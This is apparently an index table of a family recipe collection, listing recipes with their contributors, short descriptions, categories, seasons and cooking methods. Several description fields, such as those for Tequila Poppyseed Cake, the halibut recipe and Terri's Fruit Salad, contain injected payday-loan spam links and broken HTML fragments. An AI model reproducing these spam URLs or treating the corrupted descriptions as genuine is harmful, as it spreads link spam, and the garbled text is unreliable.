White Texas Sheet Cake	Judy Powell	This cake gets better the longer it sits, so try to make it a day ahead. My mother-in-law introduced this deliciously rich cake to me. With its creamy frosting and light almond flavor, no one can stop at just one piece!	Dessert	Cake	Christmas	Bake
White Texas Sheet Cake	Judy Powell	Almond flavored cake	Dessert	Cake	Holiday	Warm
Whole Protein Herb Pasta	Gwen Powell	Use this pasta as a vegetarian main course or a side dish. All the amino acids needed for good health.	Pasta	Pasta Maker	Everyday	Boil
Whole Wheat Bread	Naomi Luby/Sue Paulding		Bread	Grains	Everyday	Bake
Whole Wheat Pancakes	Sue Paulding		Breakfast	Bread	Everyday	Fry
Wiener Brand Rolls	Naomi Luby		Bread		Everyday	Bake
Won Ton	Naomi Luby		Appetizer	Entrée	Everyday	Fry
Yum Yum Cake	Naomi Luby		Dessert	Cake	Everyday	Bake
Yummy Oatmeal Raisin Cookies	Sue Paulding		Dessert	Cookies	Everyday	Bake
Zucchini Bread	Sue Paulding	Very Easy	Bread	Vegetable	Everyday	Bake
Zucchini Casserole	Sue Paulding		Entrée	Casserole	Everyday	Bake

List of Recipes

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Category:						
Aunt Gwen's Easiest Mousse	Gwen Powell					
Laura's Scones	Laura Abaloe	Scones that Laura makes at Traders Coffee and Tea				
Category: Appetizer						
Almond Dip	Sue Paulding	From Erin and Pam	Appetizer	Sauce	Summer	Refrigerate
Black Bean Mango Salsa	Sunset Magazine	Black Bean Mango Salsa	Appetizer	Sauce	Summer	Refrigerate
Chicken Wings	Terri Luby		Appetizer	Chicken	Everyday	Warm
Cowboy Crisps	Mike Luby		Appetizer	Bread	Everyday	Bake
Deluxe Grilled Cheese	Michael Rivas at Station Grill	Grilled cheese with added chicken, bacon, and cheddar cheese	Appetizer		BBQ	Bake
Eight Layer Dip	Sue Paulding		Appetizer	Mexican	Everyday	Refrigerate
Glenda Newell's Salsa	Sue Paulding		Appetizer	Sauce	Everyday	Refrigerate
Gwen's Alligator Poppers	Gwen Powell	Hot peppers and tasty Alligator make for this unusual Appetizer	Appetizer		BBQ	Fry
Lace Boiled Eggs	Lisa Powell	Pretty eggs for Easter or luncheons loan<	Appetizer	Eggs	Easter	Boil
Lisa's Many Layer Dip	Lisa Powell	Lisa's take on 7 layer dip	Appetizer		Everyday	Refrigerate
Mango Wonton Appetizers	Amanda Beck	Light summer appetizer	Appetizer		BBQ	Bake
Margaret Lim's Batter for Frying	Naomi Luby	Chinese batter	Appetizer	Entrée	Everyday	Fry
Mexican Hors d'oeuvres	Linda Lokkart	Serve with chips.	Appetizer	Mexican	Everyday	Refrigerate
Roasted Garlic	Gwen Powell	No fleas or mesquito bites if you eat this. Serve with crackers and goat cheese.	Appetizer	Vegetable	Everyday	Warm
Salmon Spread	Gwen Powell	Spread for sandwiches or crackers	Appetizer	Fish	Everyday	
Salt Crust Grilled Fish	Dave Hendricks		Appetizer		BBQ	Bake
Shrimp Dip	Sue Paulding	Another from Erin Ford	Appetizer		Everyday	Refrigerate
Shrimp Mousse	Gwen Powell	Delicious mousse dip for the Holidays. (serve cold)	Appetizer		Holiday	Simmer
Sticky Ribs	Terri Luby	Superbowl	Appetizer		Everyday	Warm
Tortilla Hors d'ourves	Gwen Powell	Great party idea that can be expanded to an entree by adding meat.ydayloandomog	Appetizer	Mexican	Everyday	Bake
Won Ton	Naomi Luby		Appetizer	Entrée	Everyday	Fry

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Category: Beef						
Laura's favorite dinner	Laura Abaloe	rice, cabbage, and ground beef delight	Beef		Everyday	Warm
Category: Beverages						
Kahlua	Gwen Powell	Kahlua is a coffee flavored after dinner liquor	Beverages	Liquor	Everyday	Simmer
Punch	Sue Paulding		Beverages		Everyday	Refrigerate
Category: Bread						
Amish Friendship Bread	Sue Paulding		Bread		Everyday	Warm
Apple Muffins	Sue Paulding	From Erin Ford	Bread	Muffin	Everyday	Bake
Apple Raisin Muffins	Sue Paulding	Moist and easy to bake.	Bread	Muffin	Everyday	Bake
Baking Powder Biscuits	Sue Paulding	Better Homes and Gardens	Bread		Everyday	Warm
Banana Bread	Sue Paulding		Bread	Fruit	Everyday	Bake
Banana Bread	Gwen Powell	Easy Banana Bread	Bread	Bread	Everyday	Warm
Banana or Apple Bread	Sue Paulding		Bread		Everyday	Bake
Banana-Nut Bread	Sue Paulding		Bread		Everyday	Bake
Basic Bread Recipe	Gwen Powell	Basic bread Recipe for the average breadmaker.	Bread	Breadmaker	Everyday	Bake
Beer Bread	Gwen Powell	Easy dinner bread.	Bread		Everyday	Bake
Bran Muffins	Sue Paulding		Bread	Muffin	Everyday	Bake
Coolrise Bread	Naomi Luby		Bread		Everyday	Bake
Corn Bread	Gwen Powell		Bread		Everyday	Warm
Cranberry Nut Bread	Gwen Powell	Cranberry Bread from Carolyn Johnson loan	Bread	Grains	Everyday	Bake
Cranberry White Chocolate Teabread	Sue Paulding	Sweet Holiday Cranberry Bread	Bread	Dessert	Christmas	Bake
Cranberry-Orange Bread	Sue Paulding	Great for the Holidays	Bread	Fruit	Christmas	Bake
Dilly Casserole Bread	Naomi Luby	One of our all time favorites.	Bread		Everyday	Bake
French Bread	Naomi Luby	Very time consuming, but good.	Bread		Everyday	Bake
Fruitcake (Very Easy)	Gwen Powell	This very easy fruitcake is also very tasty.	Bread	Dessert	Holiday	Bake
Grandmother's Famous Cranberry Bread	Sue Paulding	From Parents' Magazine	Bread		Holiday	Bake
Gwen's Wheat Bread	Gwen Powell	"Who ever said that man cannot live by bread alone never had a breadmaker!"	Bread	Breadmaker	Everyday	Bake
Herb Rolls or Bread	Gwen Powell	Same as Sesame Rolls but with Herbs loan	Bread	Breadmaker	Everyday	Warm
Jewish Challah (Egg Bread)	Naomi Luby	An old family favorite from Grandmommy Luby (Essy)	Bread	Breakfast	Christmas	Bake
Mango or Zapate Bread	Gwen Powell	Exotic Fruit Bread	Bread	Fruit	Everyday	Warm
Margie's Carmel Rolls	Linda Lokkart		Bread		Everyday	Warm

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Mike's Fabulous Focaccia	Mike Luby	Mike made this one up himself.	Bread	Italian	Everyday	Bake
Mom's Beer Bread	Naomi Luby		Bread		Everyday	Bake
Pear Bread	Sue Paulding	Gopher Glen	Bread	Fruit	Everyday	Warm
Poppy Seed Bread	Gwen Powell		Bread		Everyday	Warm
Poppy Seed Cake (bread)	Linda Lokkart		Bread	Cake	Everyday	Warm
Poppy Seed Muffins	Sue Paulding	Moist, rich and addictive.	Bread		BBQ	Bake
Prune Bread	Naomi Luby	Only Grandma could think of this one.	Bread	Fruit	Everyday	Bake
Pumpkin Bread	Sue Paulding/Naomi Luby		Bread		Everyday	Bake
Sesame Rolls or Bread	Gwen Powell	Exciting sesame flavored rolls, great with dinner or breakfast.	Bread	Breadmaker	Everyday	Bake
Six Week Muffins	Sue Paulding	Bran Muffins	Bread	Muffin	Everyday	Bake
Sourdough French Bread	Sue Paulding	Where do you get the starter?	Bread		Everyday	Bake
Stonemill Bread	Linda Lokkart/Sue Paulding	Acceptable non-meat cannelloni.	Bread	Grains	Everyday	Bake
Super Cheese Bread	Sue Paulding		Bread		Everyday	Broil
Susan Bread	Sue Paulding	Like Sue, very little instructions.	Bread	Grains	Everyday	Bake
Sweet Bread with Walnut Filling	Gwen Powell	Great with breakfast or to serve with tea and coffee.m	Bread	Breadmaker	Everyday	Bake
Vanocha Christmas Bread	Naomi Luby	Mom's Holiday Bread	Bread		Christmas	Bake
Whole Wheat Bread	Naomi Luby/Sue Paulding		Bread	Grains	Everyday	Bake
Wiener Brand Rolls	Naomi Luby		Bread		Everyday	Bake
Zucchini Bread	Sue Paulding	Very Easy	Bread	Vegetable	Everyday	Bake

Category: Breakfast

Apple Filling for Blintzes	Sue Paulding	From "The Art of Jewish Cooking"	Breakfast	Fruit	Everyday	Simmer
Blintz Batter	Sue Paulding	From "The Art of Jewish Cooking"	Breakfast		Everyday	Fry
Blueberry Filling for Blintz	Sue Paulding	From "The Art of Jewish Cooking"	Breakfast	Fruit	Everyday	Refrigerate
Cheese Filling for Blintzes	Sue Paulding	From "The Art of Jewish Cooking"	Breakfast		Everyday	Refrigerate
Crepes	Gwen Powell	Basic Crepe Recipe with variations-Chocolate, Herb, Dessertm	Breakfast		Everyday	
Egg Crepe Blintzes	Naomi Luby	Thin limp blintz that Grandma Luby would make.	Breakfast	Pastries	Everyday	Fry
Fancy Egg Scramble	Sue Paulding		Breakfast	Eggs	Everyday	Fry
French Breakfast Puffs	Naomi Luby	Very sugary sweet.	Breakfast	Muffin	Everyday	Bake
French Pastry Blintzes	Naomi Luby	Family favorite.	Breakfast	Pastries	Everyday	Fry
German Apple Pancakes	Sue Paulding	A recipe from Erin Ford	Breakfast		Everyday	Bake
Jam Crescents	Naomi Luby		Breakfast	Pastries	Everyday	Bake

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John's Morning Oatmeal	Sue Paulding		Breakfast	Grains	Everyday	Microwave
Pancakes	Sue Paulding	From Better Homes and Gardens--this is Sue's great pancakes.	Breakfast	Pastries	Everyday	Warm
Scones (real Scottish ones)	Julie Luby	Straight from the kitchen of a Scottish Grandmother!	Breakfast		Everyday	Fry
Shortcake Muffins with Fruit	Gwen Powell	Breakfast that passes as dessert.	Breakfast	Fruit	Everyday	Bake
Stuffed French Toast	Gwen Powell	Inspired by a B&B in Cambria.	Breakfast	Eggs	Everyday	Warm
Waffles	Linda Lokkart/Sue Paulding		Breakfast		Everyday	Bake
Whole Wheat Pancakes	Sue Paulding		Breakfast	Bread	Everyday	Fry
Category: Casserole						
Chicken Casserole	Laura Abaloe		Casserole		Everyday	Bake
Category: Chicken						
Low CarbChicken Cordon Bleu	Lisa Hendricks	A Jell-O © recipe. Fun for the kids.	Chicken		Everyday	Bake
Sticky Coconut Chicken	Sunset Magazine	Sticky Coconut Chicke	Chicken		Summer	BBQ
Category: Children						
Jell-O Jigglers	Sue Paulding	A Jell-O © recipe. Fun for the kids. loan<	Children	Pudding	Summer	Refrigerate
Playdough	Sue Paulding	Good for a rainy day.	Children	Fun	Everyday	Simmer
Category: Dessert						
7-Up Pound Cake	Naomi Luby	Grandma's 7 pound-oops 7-Up Pound Cake loan	Dessert	Cake	BBQ	Bake
Almond Brittle	Sue Paulding	Aunt Sue's Brittle Almond	Dessert	Candy	BBQ	Bake
Almond Cookies	Sue Paulding	These almond cookies are better than served anywhere!	Dessert	Cookies	BBQ	Bake
Almond Refrigerator Cookies	Sue Paulding		Dessert	Cookies	Everyday	Bake
Almond White Chocolate Cookies	Carolyn Lokkart	Almond white chocolate cookies that are sinfull	Dessert	Cookies	Everyday	Warm
Angel Strawberry Dessert	Rose Paulding	Very yummy, light, dessert	Dessert	Cake	BBQ	Bake
Apple Cake	Sue Paulding	Gopher Glenn	Dessert	Cake	Everyday	Warm
Apple Crumble	Sue Paulding	From Gopher Glen recipes.	Dessert	Pie	Everyday	Bake
Apple Dip	Linda Lokkart	Yummy carmel apple on a plate	Dessert		BBQ	Bake
Apple Pie from Gopher Glen	Sue Paulding		Dessert	Pie	Everyday	Warm
Apple Walnut Cake	Sue Paulding		Dessert	Cake	Everyday	Bake
Applesauce Raisin Brownies	Sue Paulding		Dessert	Bar	Everyday	Bake
Banana Split Cake	Rose Paulding		Dessert	Cake	Everyday	Refrigerate
Basic Brownies	The Dailybreeze	Easy Basic Brownies	Dessert	Cookies	Everyday	Bake

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Berry Cobbler	Sue Paulding	Contributed by Sue Paulding. An Erin Ford recipe.	Dessert	Pie	Everyday	Bake
Brownies	Gwen Powell	Simple brownies that taste great.v	Dessert	Cookies	Everyday	Bake
Buttery Cooky Brittle	Sue Paulding		Dessert	Candy	Everyday	Bake
Carolyn's Chocolate Chip Cookies	Carolyn Lokkart		Dessert	Cookies	Everyday	Warm
Cheese Cake	Lisa Powell	Very easy but tasty cheese cake--use with cheese cake topping.	Dessert	Cake	Everyday	Bake
Cheese Cake Topping	Lisa Powell	Use this to top the cheese cake or other cooked creamed pies.	Dessert	Cake	Everyday	Bake
Chinese Almond Cakes	Naomi Luby		Dessert	Cookies	Easter	Bake
Chocolate Cheesecake	Lisa Powell	Lisa' Chocolate cheesecake that Uncle Earle loved so much.m	Dessert	Cake	Everyday	Bake
Chocolate Cherry Bars	Sue Paulding		Dessert	Bar	Everyday	Bake
Chocolate Pie	Gwen Powell	Very Easy Chocolate Pie	Dessert	Pie	Summer	Refrigerate
Churros	Sue Paulding		Dessert	Mexican	Everyday	Fry
Coconut Dream Bars	Naomi Luby	Happy eating!	Dessert	Bar	Everyday	Bake
Coconut Pecan Frosting	Naomi Luby	Use this with German Chocolate Cake loan	Dessert	Cake	Everyday	Refrigerate
Coffee Cake	Gwen Powell	Light and easy.	Dessert	Cake	Everyday	Warm
Continuous Apple Cake	Sue Paulding	This is a 10 day recipe.	Dessert	Cake	Everyday	Bake
Cranberry Cobbler	Naomi Luby		Dessert	Pie	Everyday	Bake
Cranberry Dessert	Sue Paulding		Dessert	Fruit	Everyday	Refrigerate
Cream Filling	Gwen Powell	For eclairs', tortes and cakes	Dessert	Pudding	Everyday	Simmer
Crumble Pie Crust	Sue Paulding	Use this on top of fruit and bake.	Dessert	Pastries	Everyday	Warm
Crunchy Carmel Apple Pie	Emeril	From Marsha Brooks Apple Pie Contest Winner	Dessert	Pie	Everyday	Warm
Fantasia Cheesecake	Gwen Powell	Light, easy, cheesecake like dessert.	Dessert	Pie	Everyday	Refrigerate
Fig Pudding	Naomi Luby	Traditional Fig Pudding	Dessert	Cake	Christmas	Steam
French Vanilla Ice Cream	Gwen Powell	Gwen uses this for the basis of all good ice cream. Even making while camping!	Dessert	Ice Cream/Sorbet	Summer	Freeze
French Vanilla Ice Cream	Gwen Powell	The best homemade ice cream.	Dessert	Ice Cream/Sorbet	Summer	Freeze
Fried Almonds or Walnuts	Sue Paulding		Dessert	Grains	Everyday	Fry
FRIENDLY BROWNIES	Gwen Powell	Nutting chewy brownies	Dessert	Cookies	Everyday	Bake
Fudge	Gwen Powell	Very easy fudge from Eagle Brand Milk (or use any sweetened condensed milk.	Dessert	Candy	BBQ	Bake
Funnel Cake	Gwen Powell	Inspired by Steve Powell	Dessert	Cake	Everyday	Fry
Gemini Cricket Pie	Laura Abaloe	No bugs in this one!	Dessert		Summer	Freeze
German Sweet Chocolate Cake	Naomi Luby		Dessert	Cake	Everyday	Bake
Graham Cracker Crust	Gwen Powell	This is a standard Graham Cracker Crust for all uses	Dessert	Pie	Everyday	

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Gwen's Ghiradelli Chocolate Chip Cookies	Gwen Powell	Ghiradelli Chocolate Chip Cookie recipe with a Gwen flavor.	Dessert	Cookies	Everyday	Bake
Hershey Kiss Cookies	Judy Powell	Hershey Kiss Cookies	Dessert	Cookies	Holiday	Bake
Ice Cream Pie	Rose Paulding	Use 9 by 13 inch pan	Dessert	Pie	Summer	Freeze
KATE'S FAMOUS BROWNIES	Katherine Hepburn	This shows up in every stack of recipes handed into me.	Dessert	Cookies	Everyday	Bake
Lemon Bars	Naomi Luby	Same as Grandma Judy's Lemon Bars	Dessert	Bar	Everyday	Bake
Lemon Cake	Karen and Michelle Rivas	Karen and Michelle's Lemon Cake	Dessert	Cake	Everyday	Warm
Lemon Cheese Cake	Gwen Powell	Easy lemon tasting cheese cake like dessert.	Dessert	Pie	Summer	Refrigerate
Lemon Ice Cream	Sue Paulding		Dessert	Ice Cream/Sorbet	Everyday	Freeze
Lemon Pie	Judy Powell	Lemon Meringue Pie (This is the pie part)	Dessert	Pie	Christmas	Simmer
Libby's Pumpkin Pie	Gwen Powell	Recipe is from the Libby's Pumpkin Pie can. Substitute 2 cups fresh cooked pumpkin.	Dessert	Pie	Thanksgiving	Bake
Lisa's Chocolate Mousse	Lisa Powell	A great Betty Crocker recipe.	Dessert	Pudding	Everyday	
Lisa's Graham Cracker Crust	Lisa Powell	Use this one with Lisa's chocolate cheesecake	Dessert	Cake	Everyday	Refrigerate
Meringue	Judy Powell	Meringue for the top of Lemon Pie	Dessert	Pie	Christmas	Refrigerate
Mexican Wedding Cake Cookies	The Luby Family	Old family favorite--Modified by Gwen December 2006	Dessert	Cookies	Christmas	Bake
Microwave Peanut Brittle	Sue Paulding		Dessert	Candy	Everyday	Microwave
Mocha Funge Brownies	Aunt Gwen	Mocha Fudge Brownies	Dessert	Cookies	Everyday	Bake
Mrs. Field's \$500 Chocolate Chip Cookies	Mrs. Field's	Mrs. Field's Chocolate Chip cookies--contributed by Sue Paulding	Dessert	Cookies	Everyday	Bake
Mrs. Field's Cookies	Sue Paulding	Mrs. Field must be a good friend of Sue. Loan	Dessert	Cookies	Everyday	Bake
Neiman-Marcus Bars	Judy Powell	From Grandma Judy	Dessert	Bar	Christmas	Bake
Never Fail Pie Crust	Naomi Luby aka Grandma	Just what it sounds like! A great pie crust recipe	Dessert		BBQ	Bake
Oatmeal Cookies	Lisa Powell		Dessert	Cookies	Everyday	Warm
O'Henry Bars	Laura Abaloe	yummy treat from the newspaper!	Dessert		Everyday	Bake
Ozark Pudding	Naomi Luby		Dessert	Pudding	Everyday	Bake
Pastry	Sue Paulding	Good basic pastry dough	Dessert	Pie	Everyday	Bake
Pastry--double crust	Gwen Powell	Better Homes and Gardens	Dessert	Pastries	Everyday	Warm
Pastry--Single Crust	Gwen Powell	Better Homes and Gardens	Dessert	Pastries	Everyday	Warm
Peanut Butter Hershey Kiss Cookies	Linda Lokkart		Dessert	Cookies	Everyday	Warm
PECAN PIE BROWNIES	Gwen Powell	A variation of Basic Brownie	Dessert	Cookies	Everyday	Bake
Polka Daters	Judy Powell	Rich brownie like dessert	Dessert	Cookies	Everyday	Bake
PORT CHOCOLATE TRUFFLE RECIPE	Gwen Powell	Basic truffle recipe. Substitute your favorite flavor for the Port such as vanilla or almond	Dessert	Candy	Everyday	

<i>Recipe Name</i>	<i>Credited to:</i>	<i>Description</i>	<i>Category</i>	<i>Sub-Category</i>	<i>Season</i>	<i>Type</i>
Puff Pastry Dough	Gwen Powell		Dessert	Pastries	Everyday	Warm
Pumpkin Roll Holiday Treat	Reba Rhodes	Pumpkin Log cut into spiral swirls	Dessert		Holiday	Bake
Quick Carrot & Cream Cheese Bars	Sue Paulding		Dessert	Bar	Everyday	Bake
Reese's Peanut Butter Squares	Sue Paulding		Dessert	Bar	Everyday	Refrigerate
Rich Rolleo Cookies	Sue Paulding	From the Joy of Cooking	Dessert	Cookies	Everyday	Bake
Scotchy Chocolate Fondue	Sue Paulding		Dessert		Everyday	Bake
Sister's Day Apple Pie	Emeril	Basic Apple pie from Emeril's 2001 contest--I liked the name	Dessert	Pie	Everyday	Warm
Snowballs	Naomi Luby	Also known as Mexican wedding cakes or Russian Tea Cakes. These melt in your mouth.	Dessert	Cookies	Holiday	Warm
Spritz Cookies	Gwen Powell	Best with red currant jelly in the center.	Dessert	Cookies	Holiday	Warm
Strawberry Pie	Sue Paulding/Naomi Luby/Linda Lokkart	Alter this recipe to fit any needs.</d	Dessert	Pie	Everyday	Refrigerate
Sue's Brownie	Sue Paulding	Original written in Naomi's handwriting.	Dessert	Bar	Everyday	Bake
Swedish Toscas	Naomi Luby	Almond flavored confection.	Dessert	Cookies	Holiday	Bake
Tequila Poppyseed Cake	Gwen Powell	Great for parties.=h//integritypaydayloanscf.it.com>integrity payday loansonline payday loan lenders<a href=http:ydayloandomog.com payday loan</div>	Dessert	Cake	Everyday	Bake
Thumbprint Cookies	Gwen Powell	Best with red currant jelly in the center.	Dessert	Cookies	Holiday	Warm
Toffee	Gwen Powell		Dessert	Candy	Everyday	Boil
Toffee	Sue Paulding		Dessert	Candy	Everyday	Simmer
Tunnel of Fudge Cake	Tony Van Ness	GUI, yummy cake	Dessert	Cake	Everyday	Bake
Walnut Pie	Sue Paulding	Use fresh walnuts when Sue and Clifford gather them each fall.	Dessert	Pie	Everyday	Bake
White Texas Sheet Cake	Judy Powell	This cake gets better the longer it sits, so try to make it a day ahead. My mother-in-law introduced this deliciously rich cake to me. With its creamy frosting and light almond flavor, no one can stop at just one piece!	Dessert	Cake	Christmas	Bake
White Texas Sheet Cake	Judy Powell	Almond flavored cake	Dessert	Cake	Holiday	Warm
Yum Yum Cake	Naomi Luby		Dessert	Cake	Everyday	Bake
Yummy Oatmeal Raisin Cookies	Sue Paulding		Dessert	Cookies	Everyday	Bake
Category: Entrée						
Baked Crab and Clam	Naomi Luby		Entrée	Casserole	Everyday	Bake
Beef Stew	Sue Paulding		Entrée	Stew	Everyday	Simmer

<i>Recipe Name</i>	<i>Credited to:</i>	<i>Description</i>	<i>Category</i>	<i>Sub-Category</i>	<i>Season</i>	<i>Type</i>
Big Beans	Sue Paulding		Entrée	Crock Pot	Everyday	Bake
Blackened Roughy	Terri Luby	Mom's copy from Terri said Blackened Rougby and some ingredients were not decipherable.	Entrée	Fish	Everyday	Fry
Broccoli Casserole	Sue Paulding	From Lois Gruber	Entrée	Casserole	Everyday	Bake
Burrito Mix	Sue Paulding		Entrée	Crock Pot	Everyday	
California Tamale Pie	Sue Paulding		Entrée	Casserole	Everyday	Bake
Cannelloni with Poultry	Gwen Powell	Use chicken, turkey or other poultry to create this very fattening dish.	Entrée	Pasta	Everyday	Bake
Char Sui Pork	Gwen Powell	Chinese Barbecue Pork	Entrée		Everyday	Bake
Chicken Good	Sue Paulding		Entrée	Chicken	Everyday	Warm
Chicken Noodle Casserole	Linda Lokkart		Entrée	Casserole	Everyday	Warm
Chicken Tacos	Sue Paulding		Entrée	Chicken	Everyday	Simmer
Chicken w/Rice	Sue Paulding	From Erin Ford	Entrée	Chicken	Everyday	Bake
Cuban Style Pork	Gwen Powell	Plan ahead but it is work the wait!	Entrée	Meat	Summer	Bake
Glazed Pork Chops	Gwen Powell	30 minute Pork Loin Chops	Entrée	Meat	Everyday	Simmer
Golden Mushroom Chick	Sue Paulding	I decided to use chicken instead of chick as described in the original recipe.	Entrée	Chicken	Everyday	Simmer
Grandma's Meatloaf	Judy Powell		Entrée	Beef	Everyday	Bake
Green Chile Verde`	Sue Paulding	Make this ahead and reheat it at mealtime and serve alone or over rice.ydayloan	Entrée	Mexican	Everyday	Simmer
Gwen's Tortilla Casserole	Gwen Powell	Yummy way to use up a lot of that stuff in the fridge. Make ahead and enjoy for days	Entrée	Mexican	Everyday	Bake
Ham Casserole	Naomi Luby	Turkey may be substituted for ham	Entrée	Casserole	Everyday	Bake
Jamaican Jerk Chicken	Mike Luby	Goes real well with Linda's Salsa.	Entrée	Chicken	Everyday	BBQ
John Wayne's Cheese Casserole	Naomi Luby		Entrée	Casserole	Everyday	Bake
Julie's Pizza	Julie Luby	A greek inspired pizza with stuff that Julie loves	Entrée		Everyday	Bake
Kahlua Chili	Gwen Powell	Slightly sweet, spices chili that cleans out the refrigerator	Entrée	Crock Pot	Everyday	Simmer
Kit Carson Casserole	Naomi Luby	Recipe from the Wife of Kit Carson from a Colorado Restaurant	Entrée	Casserole	Everyday	
Margaret Lim's Meatballs	Sue Paulding		Entrée	Meat	Everyday	Fry
Mexican Casserole	Gwen Powell	Mexican Casserole--change it as you wish.	Entrée	Casserole	Summer	Bake
Mexican Casserole	Linda Lokkart		Entrée	Casserole	Everyday	Warm
Mexican Lasagna	Rose Paulding		Entrée	Mexican	Everyday	Bake
Mexican Quiche	Sue Paulding		Entrée	Mexican	Everyday	Bake
Mom's Turkey	Naomi Luby	Stuff with turkey dressing recipev	Entrée	Poultry	Holiday	Bake
Pasta Primavera Mold	Gwen Powell	Beautiful display and makes a great main course.	Entrée	Pasta	Everyday	Warm

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Perfect Turkey Loaf	Sue Paulding		Entrée	Turkey	Everyday	Bake
Pizza Crust	Linda Lokkart		Entrée	Casserole	Everyday	Warm
Pot Roast Mexicali	Sue Paulding	From Erin Ford and Louise Edward's	Entrée	Stew	Everyday	Bake
Prime Rib Roast--Bake or BBQ	Gwen Powell	Easy and to the point--buy the best you can find	Entrée	Meat	Everyday	Bake
Reba's Best Salmon	Gwen's Friend Reba Rhodes	Reba is a fun friend who is the ultimate in everything.m	Entrée		Easter	Bake
Savory Chicken Stew	Mike Luby		Entrée	Chicken	Everyday	Simmer
Shepherd's Pie	Sue Paulding		Entrée	Casserole	Everyday	Warm
South of the Border Casserole	Sue Paulding		Entrée	Casserole	Everyday	Bake
Spinach Roll	Sue Paulding	Contributed by Sue on behalf of Terri Luby.	Entrée	Vegetable	Everyday	Bake
Sun Dried Tomato Pesto Chicken	Mike Luby	Tasty Chicken Entree. Serve with home made pasta for extra effect.	Entrée	Poultry	Everyday	Simmer
Sweet-Sour Chicken	Sue Paulding	From Betty Crocker's Meatless Main Dishes loan<	Entrée	Chicken	Everyday	Boil
Tamale Pie	Naomi Luby		Entrée	Mexican	Everyday	Bake
Tamales	Sue Paulding		Entrée	Mexican	Everyday	Steam
Tamales--Entree, Dessert, Appetizer	Gwen Powell		Entrée	Mexican	Everyday	Steam
Tofu Cannelloni	Gwen Powell	Acceptable non-meat cannelloni.	Entrée	Pasta	Everyday	Bake
Turkey Acapulco	Sue Paulding		Entrée	Poultry	Easter	Bake
Zucchini Casserole	Sue Paulding		Entrée	Casserole	Everyday	Bake

Category: Fish

Ann's Crab Cakes	Ann Kubota	Crab Cakes to Die For	Fish		Everyday	
Asian BBQ Salmon	Cathy Paulson	Mild grilled fish	Fish		Everyday	BBQ
Garlic Lime Salmon	Jill Meynen--Gwen & Don's Gym Friend	A nice way to eat salmon	Fish		Summer	Warm
Pesto Mahi Mahi	Fellow Golfer	Use Mahi Mahi or halibit	Fish		Everyday	Warm
Pineapple Mango Salsa over Grilled Halibut	Jill Meynen--Gwen & Don's Gym Friend	Luscious mango nectar, combined with pineapple chunks and diced fresh mango make a sweet but zesty marinade for halibut.=h//integritypaydayloansfcfit.com >integrity payday loansonline p	Fish		Summer	Broil
Salmon BBQ Sauce	Reba Rhodes	A great saurce for BBQ Salmon	Fish		BBQ	BBQ

Category: Jelly, Jams & Preserves

Apple Butter	Gwen Powell	Adapted from Gopher Glen recipes.	Jelly, Jams & Preserves	Fruit	Everyday	Simmer
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Fig Jam	Lisa Powell	Use for the inside of jig tarts.	Jelly, Jams & Preserves	Fruit	Everyday	Simmer
Hot Pepper-Cranberry Jelly	Unknown	Not hot as Jalapeno jelly. Nice and red.	Jelly, Jams & Preserves	Fruit	Everyday	Can
Jalapeno-Pepper Jelly	Naomi Luby	Hot green jelly from Aunt Wannie (Elwanda Walker)	Jelly, Jams & Preserves	Fruit	Everyday	Can
Category: Lunch						
Chicken Ranch Sandwich	Michael Rivas at Station Grill	A easy and quick to make chicken and ranch sandwich.	Lunch		BBQ	Bake
Luncheon Rolls	Naomi Luby	Make these in advance and freeze.v	Lunch	Sandwich	Everyday	Bake
Category: Meat						
Chipotle Pepper Rub	Sunset Magazine	Chipotle Pepper Rub	Meat		Summer	
Category: Mexican						
Mango Salsa	Jill Meynen--Gwen & Don's Gym Friend	Fuity, tangy Salsa for fish, especially Salmon	Mexican	Relish	Summer	
Category: Pasta						
Pasta (Basic Egg)	Gwen Powell	Basic egg pasta, whole protein for any meal	Pasta	Pasta Maker	Everyday	Boil
Pumpkin Pasta	Gwen Powell	Use canned for cooked fresh pumpkin or other squash	Pasta	Pasta Maker	Everyday	Warm
Whole Protein Herb Pasta	Gwen Powell	Use this pasta as a vegetarian main course or a side dish. All the amino acids needed for good health.	Pasta	Pasta Maker	Everyday	Boil
Category: Salad						
Apple Salad	Sue Paulding	Another Gopher Glen recipe	Salad	Fruit	Everyday	Refrigerate
Arctic Salad	Sue Paulding	Can be a dessert.	Salad	Fruit	Everyday	Freeze
Aunt Sue's Favorite Salad	Sue Paulding	That says it all!	Salad		BBQ	Bake
Cabbage Chunch	Sue Paulding	Use as a white sauce with any pasta. Lo	Salad	Vegetable	Everyday	Refrigerate
Deviled Eggs	Gwen Powell	Gwen's milk recipe	Salad	Relish	Everyday	Refrigerate
Jell-O Salad	Sue Paulding		Salad	Fruit	Everyday	Refrigerate
Picnic Macaroni Salad	Naomi Luby		Salad	Pasta	Summer	Refrigerate
Potato Salad	Linda Lokkart/Sue Paulding	From Ann Lokkart	Salad	Vegetable	Picnic	Refrigerate
Rice and Bean Salad	Cathy Paulson	Great cold side dish	Salad	Vegetable	Everyday	Refrigerate

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Terri's Fruit Salad	Terri Luby	Contributed by Sue on behalf of Terri Luby. = h//integritypaydayloansfcfit.com >integrity payday loans< href=http://onlinepaydayloanlendersjaycg.com >online payday loan lenders< href=http://ydayloandomog.com payday loa	Salad	Fruit	Everyday	Simmer
Category: Sauce						
Apple Sauce	Gwen Powell	Adapted from Gopher Glen Sea Canyon apples loan	Sauce	Fruit	Summer	Simmer
Balsamella Sauce	Gwen Powell	Use as a white sauce with any pasta. Loan	Sauce	Pasta	Everyday	Simmer
Coating for Chili Rellenos	Sue Paulding		Sauce	Mexican	Everyday	Fry
Ham Glaze	Sue Paulding	"Shelly's Ham Glaze"	Sauce		Holiday	Bake
Mayonnaise	Naomi Luby	This shows up in every stack of recipes handed into me. Twice in my own.	Sauce		Everyday	Refrigerate
Mole Sauce	Earle Luby	For chocolate enchiladas--really.v	Sauce	Mexican	Everyday	Simmer
Mr. Wilson's Chicken Marinade	Sue Paulding		Sauce	Chicken	Everyday	Refrigerate
Newell Salsa	Linda Lokkart		Sauce	Mexican	Everyday	Refrigerate
Pesto	Gwen Powell	Italian pesto for pasta inspired by Great Uncle Earle	Sauce	Italian	Everyday	Refrigerate
Spaghetti Sauce	Sue Paulding		Sauce	Italian	Everyday	Simmer
Strawberry Salsa	SLO Chamber of Commerce	Great salsa for Fish or Grilled Chicken	Sauce		Summer	Refrigerate
Thermidor Sauce	Gwen Powell	Use with crab, shrimp, lobster or just over pasta.ay	Sauce	Fish	Everyday	Simmer
White Sauce	Gwen Powell	Better Homes and Gardens	Sauce		Everyday	Simmer
Category: Side dish						
Baked Fettuccine	Gwen Powell		Side dish	Pasta	Everyday	Warm
